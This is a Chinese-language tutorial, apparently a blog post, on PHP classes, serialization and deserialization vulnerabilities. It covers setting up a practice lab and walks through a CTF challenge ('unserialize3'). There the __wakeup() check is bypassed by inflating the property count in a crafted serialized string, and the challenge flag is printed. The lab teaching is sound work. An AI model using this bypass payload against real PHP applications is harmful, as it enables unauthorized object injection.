靶场环境搭建

方法一:PHPstudy搭建

GitHub地址

https://github.com/mcc0624/php_ser_Class

方法二:Docker部署

pull镜像文件

docker pull mcc0624/ser:1.8

启动容器

docker run -p 8000:80 -d mcc0624/ser:1.8

面向对象和面向过程

假设吃一份西红柿炒蛋是最终目的

面向过程

自己买好菜 切菜 洗菜 下锅 翻炒 出锅 再吃

面向对象

下楼去菜馆点西红柿炒蛋吃

类的定义

类定义了一件事物的抽血特点,它将数据的形式以及这些数据上的操作封装在一起

对象是具有类类型的变量,是对类的实例

内部构成:成员变量(属性)+成员函数(方法)

简单来说 水果是类 苹果、西瓜是对象

类的结构

类的内容

运行后无回显结果

实例化和赋值

代码实例

<?php
class hero{
var $name;
var $sex;
var $high;
var $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
$libai->name='李白';
$libai->sex='男';
$libai->high='185cm';
$libai->weight='70kg';
print_r($libai);
$libai->jineng('青莲剑歌');
$libai->jisha('韩信') ?>

运行结果

类的修饰符介绍

代码实例

<?php
class hero{
public $name;
private $sex;
protected $high;
public $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
echo $libai->name='李白';
echo $libai->weight='70kg';
echo $libai->sex='男';
echo $libai->high='185cm';
echo $libai->weight='70000000000kg'; ?>

子类

<?php
class hero{
public $name='李白';
protected $high='185cm';
private $sex='男';
public $weight='70kg';
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
} class hero2 extends hero{
function test(){
echo $this->name;
echo $this->sex;
echo $this->high;
echo $this->weight;
}
}
$libai2=new hero2();
echo $libai2->test(); ?>

类的成员方法

序列化

序列化的作用

表达方式

<?php
$a=null;
echo serialize($a);
?>

数组

<?php
$a=array('aaa','bbbb','ccccc');
echo $a[1];
echo serialize($a);
?>

对象

public

<?php
class test{
public $test='aaa';
public function bbb(){
echo $this->test;
}
}
$a=new test();
echo serialize($a);
?>

相当于输出的是

$test='aaa'

这一块内容

private

<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>

<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>

protected

<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>

<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>

调用对象

<?php
class aaa{
public $bbb='ccc';
public function ddd(){
echo $this->bbb;
}
}
class aaa2{
var $eee;
}
$a=new aaa2();
$b=new aaa();
$a->eee=$b;
echo serialize($a);
?>

aaa2含有一个名为eee的变量 值是aaa aaa是一个名为bbb的变量 值为ccc

反序列化

反序列化的特性

代码演示

反序列化之后内容为对象

<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff=unserialize($eee);
var_dump($fff);
?>

反序列化生成对象值与类预定义中的无关

先构造一个序列化之后的值给$fff

<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=urlencode(serialize($eee));
$fff=urldecode($eee);
echo $fff;
?>

然后对$fff的值进行修改 验证反序列化后是否与原有类预定义的值有关

<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff='O:4:"test":3:{s:3:"aaa";s:9:"different";s:3:"bbb";s:3:"666";s:3:"ccc";b:0;}';
$ggg=unserialize($fff);
var_dump($ggg);
?>

可以看到 对aaa的值进行修改时 反序列化之后也进行了改变 而不是test类中aaa的预定值bbb

反序列化需要调用方法后触发成员方法

<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$ggg=unserialize($eee);
$ggg->ddd();
?>

调用了test类中的ddd方法 所以输出了类中的$aaa的变量值 即bbb

反序列化漏洞

漏洞成因

反序列化不改变类的成员方法 需要调用方法后才能触发;

通过调用方法,触发代码才行

实例演示

攻防世界例题

unserialize3

进入场景

class xctf{                      //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=

代码审计:

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值

要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本)

wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数

修改payload

O:4:"xctf":5:{s:4:"flag";s:3:"111";}

flag出现

cyberpeace{623ccbc0b884ccd53291b4b9de67f23d}

零基础入门——从零开始学习PHP反序列化笔记(一)的更多相关文章

  1. C#区块链零基础入门,学习路线图 转

    C#区块链零基础入门,学习路线图 一.1分钟短视频<区块链100问>了解区块链基本概念 http://tech.sina.com.cn/zt_d/blockchain_100/ 二.C#区 ...

  2. (转)零基础入门深度学习(6) - 长短时记忆网络(LSTM)

    无论即将到来的是大数据时代还是人工智能时代,亦或是传统行业使用人工智能在云上处理大数据的时代,作为一个有理想有追求的程序员,不懂深度学习(Deep Learning)这个超热的技术,会不会感觉马上就o ...

  3. 零基础入门深度学习(6) - 长短时记忆网络(LSTM)

    代码: def forward(self, x): ''' 根据式1-式6进行前向计算 ''' self.times += 1 # 遗忘门 fg = self.calc_gate(x, self.Wf ...

  4. 学习参考《零基础入门学习Python》电子书PDF+笔记+课后题及答案

    国内编写的关于python入门的书,初学者可以看看. 参考: <零基础入门学习Python>电子书PDF+笔记+课后题及答案 Python3入门必备; 小甲鱼手把手教授Python; 包含 ...

  5. 学习《零基础入门学习Python》电子书PDF+笔记+课后题及答案

    初学python入门建议学习<零基础入门学习Python>.适合新手入门,很简单很易懂.前一半将语法,后一半讲了实际的应用. Python3入门必备,小甲鱼手把手教授Python,包含电子 ...

  6. Linux及Arm-Linux程序开发笔记(零基础入门篇)

    Linux及Arm-Linux程序开发笔记(零基础入门篇)  作者:一点一滴的Beer http://beer.cnblogs.com/ 本文地址:http://www.cnblogs.com/bee ...

  7. 【Linux开发】Linux及Arm-Linux程序开发笔记(零基础入门篇)

    Linux及Arm-Linux程序开发笔记(零基础入门篇) 作者:一点一滴的Beer http://beer.cnblogs.com/ 本文地址:http://www.cnblogs.com/beer ...

  8. 函数:我的地盘听我的 - 零基础入门学习Python019

    函数:我的地盘听我的 让编程改变世界 Change the world by program 函数与过程 在小甲鱼另一个实践性超强的编程视频教学<零基础入门学习Delphi>中,我们谈到了 ...

  9. 【Python教程】《零基础入门学习Python》(小甲鱼)

    [Python教程]<零基础入门学习Python>(小甲鱼) 讲解通俗易懂,诙谐. 哈哈哈. https://www.bilibili.com/video/av27789609

  10. 《零基础入门学习Python》【第一版】视频课后答案第001讲

    测试题答案: 0. Python 是什么类型的语言? Python是脚本语言 脚本语言(Scripting language)是电脑编程语言,因此也能让开发者藉以编写出让电脑听命行事的程序.以简单的方 ...

随机推荐

  1. 【解决方法】windows连接域时报错:An Active Directory Domain Controller(AD DC) for the domain“chinaskills.com“....

    目录-快速跳转 问题描述 原因分析: 解决方案: 附言: 问题描述 操作环境与场景: 在 VM 内 windos 2019 在连接到域时,提示报错: An Active Directory Domai ...

  2. oracle异常处理

    序言 最近在工作中遇到这么一个场景: 在同一网段内存在着A库和B库,需要将A库下某些表的数据同步到B库 B库跑着定时任务,定时调用存储过程将A库下的数据同步到B库. B库和A库是通过建立dblink建 ...

  3. 2023-02-23:请用go语言调用ffmpeg,解码mp4文件并保存为YUV420P格式文件。

    2023-02-23:请用go语言调用ffmpeg,解码mp4文件并保存为YUV420P格式文件. 答案2023-02-23: 使用 github.com/moonfdd/ffmpeg-go 库. 解 ...

  4. 2022-12-10:给你一个由小写字母组成的字符串 s ,和一个整数 k 如果满足下述条件,则可以将字符串 t 视作是 理想字符串 : t 是字符串 s 的一个子序列。 t 中每两个 相邻 字母在字

    2022-12-10:给你一个由小写字母组成的字符串 s ,和一个整数 k 如果满足下述条件,则可以将字符串 t 视作是 理想字符串 : t 是字符串 s 的一个子序列. t 中每两个 相邻 字母在字 ...

  5. 2021-07-19:给定一个正数N,比如N = 13,在纸上把所有数都列出来如下: 1 2 3 4 5 6 7 8 9 10 11 12 13,可以数出1这个字符出现了6次,给定一个正数N,如果把1

    2021-07-19:给定一个正数N,比如N = 13,在纸上把所有数都列出来如下: 1 2 3 4 5 6 7 8 9 10 11 12 13,可以数出1这个字符出现了6次,给定一个正数N,如果把1 ...

  6. Tensorflow 2下载网址

    Tensorflow2: 官网:https://tensorflow.google.cn/ 一个核心开源库,可以帮助您开发和训练机器学习模型.您可以通过直接在浏览器中运行 Colab 笔记本来快速上手 ...

  7. 【GiraKoo】面向对象开发系列之【为什么要用面向对象】

    开源项目:https://girakoo.com/ 问答 为什么要有面向对象开发? 面向过程开发的C语言,往往有以下几个问题: 不同的开发人员需要使用功能完全相同,或者大部分相同的函数.如果某个算法存 ...

  8. tkinter的Entry设置为不可编辑状态

    前 首先我们知道,tkinter中有许许多多的控件,其中使用频繁的控件之一就是Entry(输入框),那么怎么设置它为不可编辑状态呢? state选项 一般我们在写Entry的时候只传入了一个maste ...

  9. 研究NIST FIPS 199 - 安全分类的标准

    NIST FIPS 199 - 安全分类的标准 FIPS199是在2004年2月发布的,这是一份古老的文件,但在实施信息安全时应首先遵循,无论你准备遵守哪种安全标准.常见的安全标准有:CIS.ISO2 ...

  10. Linux下程序时间消耗监控与统计

    良好的计时器可帮助程序开发人员确定程序的性能瓶颈,或对不同算法进行性能比较.但要精确测量程序的运行时间并不容易,因为进程切换.中断.共享的多用户.网络流量.高速缓存访问及转移预测等因素都会对程序计时产 ...